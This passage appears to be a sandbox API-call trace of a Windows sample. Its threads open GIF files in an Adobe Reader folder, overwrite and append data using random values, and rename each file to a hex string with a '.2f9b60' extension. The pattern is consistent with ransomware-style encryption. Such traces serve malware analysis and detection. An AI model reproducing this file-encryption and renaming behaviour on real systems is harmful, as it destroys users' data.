_Dest=0x43105dc6, _Format="%c%c" | out: _Dest="af") returned 2 [0242.143] RtlInitAnsiString (in: DestinationString=0x3771fc48, SourceString="547b836e44802967d79d8519b878d745038091c068790db2da5abdc30287ee7ea8966d263d6cd317ea87cbaf" | out: DestinationString="547b836e44802967d79d8519b878d745038091c068790db2da5abdc30287ee7ea8966d263d6cd317ea87cbaf") [0242.143] RtlAnsiStringToUnicodeString (in: DestinationString=0x3771fc18, SourceString="547b836e44802967d79d8519b878d745038091c068790db2da5abdc30287ee7ea8966d263d6cd317ea87cbaf", AllocateDestinationString=1 | out: DestinationString="547b836e44802967d79d8519b878d745038091c068790db2da5abdc30287ee7ea8966d263d6cd317ea87cbaf") returned 0x0 [0242.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43111920 [0242.144] wcscat (in: _Dest=0x431122e0, _Source="547b836e44802967d79d85" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\547b836e44802967d79d85") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\547b836e44802967d79d85" [0242.144] wcscat (in: _Dest=0x431122e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\547b836e44802967d79d85.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\547b836e44802967d79d85.2f9b60" [0242.144] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\547b836e44802967d79d85.2f9b60", NtPathName=0x3771fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\547b836e44802967d79d85.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x430d7a60 Thread: id = 3911 os_tid = 0x2008 [0229.987] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\pdf.gif")) returned 0x20 [0230.874] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif", dwFileAttributes=0x20) returned 1 [0231.029] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\pdf.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa40 [0231.334] GetFileSizeEx (in: hFile=0xa40, lpFileSize=0x3a43fbe0 | out: lpFileSize=0x3a43fbe0*=480) returned 1 [0231.334] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x1dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.334] ReadFile (in: hFile=0xa40, lpBuffer=0x3a43fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a43fba8, lpOverlapped=0x0 | out: lpBuffer=0x3a43fb60*, lpNumberOfBytesRead=0x3a43fba8*=0x4, lpOverlapped=0x0) returned 1 [0231.335] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ea0 [0231.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861230 [0231.336] NtQuerySystemTime (in: CurrentTime=0x3a43faa0 | out: CurrentTime=0x3a43faa0*=132462178353334000) returned 0x0 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x48440dea [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x56f2165c [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x5c41ceb [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x7a007197 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x224761f [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x7fb88258 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x1efbb33a [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0xc4c6b81 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x19b04f46 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x950dbf5 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x1460dda3 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x29f4b138 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x4264ab26 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x74795408 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x41468b13 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x6bf80314 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x4a6b04dd [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x25e3ea5d [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x606b71fe [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x1978df9e [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x2584fc9f [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x3f511675 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x72974e14 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x10b8135f [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x7afc7d08 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x7db49136 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x135a02db [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x3a611d56 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x256ea782 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x506d582 [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x7546aa5e [0231.337] RtlRandomEx (in: Seed=0x3a43fa90 | out: Seed=0x3a43fa90) returned 0x5674559a [0231.344] ReadFile (in: hFile=0xa40, lpBuffer=0x41b53cc0, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x3a43fa90, lpOverlapped=0x0 | out: lpBuffer=0x41b53cc0*, lpNumberOfBytesRead=0x3a43fa90*=0x1e0, lpOverlapped=0x0) returned 1 [0231.344] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.344] WriteFile (in: hFile=0xa40, lpBuffer=0x42a352c0*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x3a43fa94, lpOverlapped=0x0 | out: lpBuffer=0x42a352c0*, lpNumberOfBytesWritten=0x3a43fa94*=0x1e0, lpOverlapped=0x0) returned 1 [0240.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa770 [0240.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0240.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa10) returned 1 [0240.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a352c0) returned 1 [0240.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b53cc0) returned 1 [0240.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba1e0) returned 1 [0240.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058510) returned 1 [0240.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202aaa10 [0240.138] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0240.138] WriteFile (in: hFile=0xa40, lpBuffer=0x1cebd350*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3a43fbb0, lpOverlapped=0x0 | out: lpBuffer=0x1cebd350*, lpNumberOfBytesWritten=0x3a43fbb0*=0x100, lpOverlapped=0x0) returned 1 [0242.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61f10 [0242.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8686c0 [0242.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a900 [0242.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a900) returned 1 [0242.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0242.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a900 [0242.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b740 [0242.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b740) returned 1 [0242.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8686c0) returned 1 [0242.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61f10) returned 1 [0242.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x1b82b740 [0242.473] sprintf (in: _Dest=0x1b82b740, _Format="%c%c" | out: _Dest="37") returned 2 [0242.473] sprintf (in: _Dest=0x1b82b742, _Format="%c%c" | out: _Dest="d1") returned 2 [0242.473] sprintf (in: _Dest=0x1b82b744, _Format="%c%c" | out: _Dest="4c") returned 2 [0242.473] sprintf (in: _Dest=0x1b82b746, _Format="%c%c" | out: _Dest="95") returned 2 [0242.473] sprintf (in: _Dest=0x1b82b748, _Format="%c%c" | out: _Dest="34") returned 2 [0242.473] sprintf (in: _Dest=0x1b82b74a, _Format="%c%c" | out: _Dest="98") returned 2 [0242.473] sprintf (in: _Dest=0x1b82b74c, _Format="%c%c" | out: _Dest="f4") returned 2 [0242.473] sprintf (in: _Dest=0x1b82b74e, _Format="%c%c" | out: _Dest="69") returned 2 [0242.473] sprintf (in: _Dest=0x1b82b750, _Format="%c%c" | out: _Dest="9e") returned 2 [0242.473] sprintf (in: _Dest=0x1b82b752, _Format="%c%c" | out: _Dest="21") returned 2 [0242.473] sprintf (in: _Dest=0x1b82b754, _Format="%c%c" | out: _Dest="d5") returned 2 [0242.473] sprintf (in: _Dest=0x1b82b756, _Format="%c%c" | out: _Dest="35") returned 2 [0242.473] sprintf (in: _Dest=0x1b82b758, _Format="%c%c" | out: _Dest="98") returned 2 [0242.473] sprintf (in: _Dest=0x1b82b75a, _Format="%c%c" | out: _Dest="36") returned 2 [0242.474] RtlInitAnsiString (in: DestinationString=0x3a43fc28, SourceString="37d14c953498f4699e21d5359836" | out: DestinationString="37d14c953498f4699e21d5359836") [0242.474] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a43fbf8, SourceString="37d14c953498f4699e21d5359836", AllocateDestinationString=1 | out: DestinationString="37d14c953498f4699e21d5359836") returned 0x0 [0242.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce624b0 [0242.474] wcscat (in: _Dest=0x1b7ae1a0, _Source="37d14c9" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\37d14c9") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\37d14c9" [0242.474] wcscat (in: _Dest=0x1b7ae1a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\37d14c9.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\37d14c9.2f9b60" [0242.474] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\37d14c9.2f9b60", NtPathName=0x3a43fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\37d14c9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4311aea0 [0243.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4311aea0) returned 1 [0243.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b35e0) returned 1 [0243.544] NtQueryInformationFile (in: FileHandle=0xa40, IoStatusBlock=0x3a43fc38, FileInformation=0x3a43fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a43fc38, FileInformation=0x3a43fc48) returned 0x0 [0243.544] NtSetInformationFile (FileHandle=0xa40, IoStatusBlock=0x3a43fc38, FileInformation=0x3a43fc48, Length=0x28, FileInformationClass=0x4) Thread: id = 3912 os_tid = 0x200c [0229.988] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviewers.gif")) returned 0x20 [0230.877] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif", dwFileAttributes=0x20) returned 1 [0231.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviewers.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a3c [0231.275] GetFileSizeEx (in: hFile=0x2a3c, lpFileSize=0x3300f7a0 | out: lpFileSize=0x3300f7a0*=1452) returned 1 [0231.275] SetFilePointerEx (in: hFile=0x2a3c, liDistanceToMove=0x5a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.275] ReadFile (in: hFile=0x2a3c, lpBuffer=0x3300f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3300f768, lpOverlapped=0x0 | out: lpBuffer=0x3300f720*, lpNumberOfBytesRead=0x3300f768*=0x4, lpOverlapped=0x0) returned 1 [0231.278] SetFilePointerEx (in: hFile=0x2a3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860510 [0231.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608d0 [0231.279] NtQuerySystemTime (in: CurrentTime=0x3300f660 | out: CurrentTime=0x3300f660*=132462178352710000) returned 0x0 [0231.279] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x1c32df5d [0231.279] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x56f2165c [0231.279] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x46738b7c [0231.279] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x5ec23578 [0231.279] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x3e0afc72 [0231.279] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x710c23c6 [0231.279] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x19fb0c4d [0231.279] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x3e7abcc6 [0231.279] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0xbe03102 [0231.279] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x7c2892b3 [0231.279] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x657c6abf [0231.279] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x70774401 [0231.279] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x5d95563 [0231.279] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x5eb78ee3 [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x1f9036c1 [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x7fcf570c [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x140565db [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x46738b7c [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x1bdabafa [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x1e9d7c1b [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x57f87530 [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x54adced8 [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x6b3c5bbe [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x59fd6c4 [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x4c857917 [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x1f5cf703 [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x5a8ca06b [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x1e9d7c1b [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x58ed45d9 [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x673a51ee [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x179ed65b [0231.280] RtlRandomEx (in: Seed=0x3300f650 | out: Seed=0x3300f650) returned 0x1887cd92 [0231.286] ReadFile (in: hFile=0x2a3c, lpBuffer=0x203a4520, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x3300f650, lpOverlapped=0x0 | out: lpBuffer=0x203a4520*, lpNumberOfBytesRead=0x3300f650*=0x5ac, lpOverlapped=0x0) returned 1 [0231.286] SetFilePointerEx (in: hFile=0x2a3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.286] WriteFile (in: hFile=0x2a3c, lpBuffer=0x41b84990*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x3300f654, lpOverlapped=0x0 | out: lpBuffer=0x41b84990*, lpNumberOfBytesWritten=0x3300f654*=0x5ac, lpOverlapped=0x0) returned 1 [0239.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c190 [0239.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135aa0 [0239.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135aa0) returned 1 [0239.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b84990) returned 1 [0239.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203a4520) returned 1 [0239.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb8e0) returned 1 [0239.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058dd0) returned 1 [0239.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x43135aa0 [0239.259] SetFilePointerEx (in: hFile=0x2a3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.259] WriteFile (in: hFile=0x2a3c, lpBuffer=0x42c14e10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3300f770, lpOverlapped=0x0 | out: lpBuffer=0x42c14e10*, lpNumberOfBytesWritten=0x3300f770*=0x10c, lpOverlapped=0x0) returned 1 [0242.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62640 [0242.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0242.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0242.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85f820 [0242.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f700 [0242.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f790 [0242.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f790) returned 1 [0242.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62640) returned 1 [0242.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x431ac8a0 [0242.103] sprintf (in: _Dest=0x431ac8a0, _Format="%c%c" | out: _Dest="ce") returned 2 [0242.103] sprintf (in: _Dest=0x431ac8a2, _Format="%c%c" | out: _Dest="4d") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8a4, _Format="%c%c" | out: _Dest="67") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8a6, _Format="%c%c" | out: _Dest="5f") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8a8, _Format="%c%c" | out: _Dest="63") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8aa, _Format="%c%c" | out: _Dest="b9") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8ac, _Format="%c%c" | out: _Dest="04") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8ae, _Format="%c%c" | out: _Dest="07") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8b0, _Format="%c%c" | out: _Dest="27") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8b2, _Format="%c%c" | out: _Dest="0f") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8b4, _Format="%c%c" | out: _Dest="bf") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8b6, _Format="%c%c" | out: _Dest="b7") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8b8, _Format="%c%c" | out: _Dest="46") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8ba, _Format="%c%c" | out: _Dest="3f") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8bc, _Format="%c%c" | out: _Dest="75") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8be, _Format="%c%c" | out: _Dest="48") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8c0, _Format="%c%c" | out: _Dest="71") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8c2, _Format="%c%c" | out: _Dest="63") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8c4, _Format="%c%c" | out: _Dest="54") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8c6, _Format="%c%c" | out: _Dest="42") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8c8, _Format="%c%c" | out: _Dest="ed") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8ca, _Format="%c%c" | out: _Dest="3f") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8cc, _Format="%c%c" | out: _Dest="f8") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8ce, _Format="%c%c" | out: _Dest="aa") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8d0, _Format="%c%c" | out: _Dest="15") returned 2 [0242.104] sprintf (in: _Dest=0x431ac8d2, _Format="%c%c" | out: _Dest="5d") returned 2 [0242.104] RtlInitAnsiString (in: DestinationString=0x3300f7e8, SourceString="ce4d675f63b90407270fbfb7463f754871635442ed3ff8aa155d" | out: DestinationString="ce4d675f63b90407270fbfb7463f754871635442ed3ff8aa155d") [0242.104] RtlAnsiStringToUnicodeString (in: DestinationString=0x3300f7b8, SourceString="ce4d675f63b90407270fbfb7463f754871635442ed3ff8aa155d", AllocateDestinationString=1 | out: DestinationString="ce4d675f63b90407270fbfb7463f754871635442ed3ff8aa155d") returned 0x0 [0242.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ceba9e0 [0242.105] wcscat (in: _Dest=0x43144f60, _Source="ce4d675f63b90" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ce4d675f63b90") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ce4d675f63b90" [0242.105] wcscat (in: _Dest=0x43144f60, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ce4d675f63b90.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ce4d675f63b90.2f9b60" [0242.105] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ce4d675f63b90.2f9b60", NtPathName=0x3300f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ce4d675f63b90.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x43111c20 Thread: id = 3913 os_tid = 0x20c4 [0229.990] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_joined.gif")) returned 0x20 [0230.884] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif", dwFileAttributes=0x20) returned 1 [0231.039] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_joined.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x32cc [0231.109] GetFileSizeEx (in: hFile=0x32cc, lpFileSize=0x3971fca0 | out: lpFileSize=0x3971fca0*=914) returned 1 [0231.109] SetFilePointerEx (in: hFile=0x32cc, liDistanceToMove=0x38e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.110] ReadFile (in: hFile=0x32cc, lpBuffer=0x3971fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3971fc68, lpOverlapped=0x0 | out: lpBuffer=0x3971fc20*, 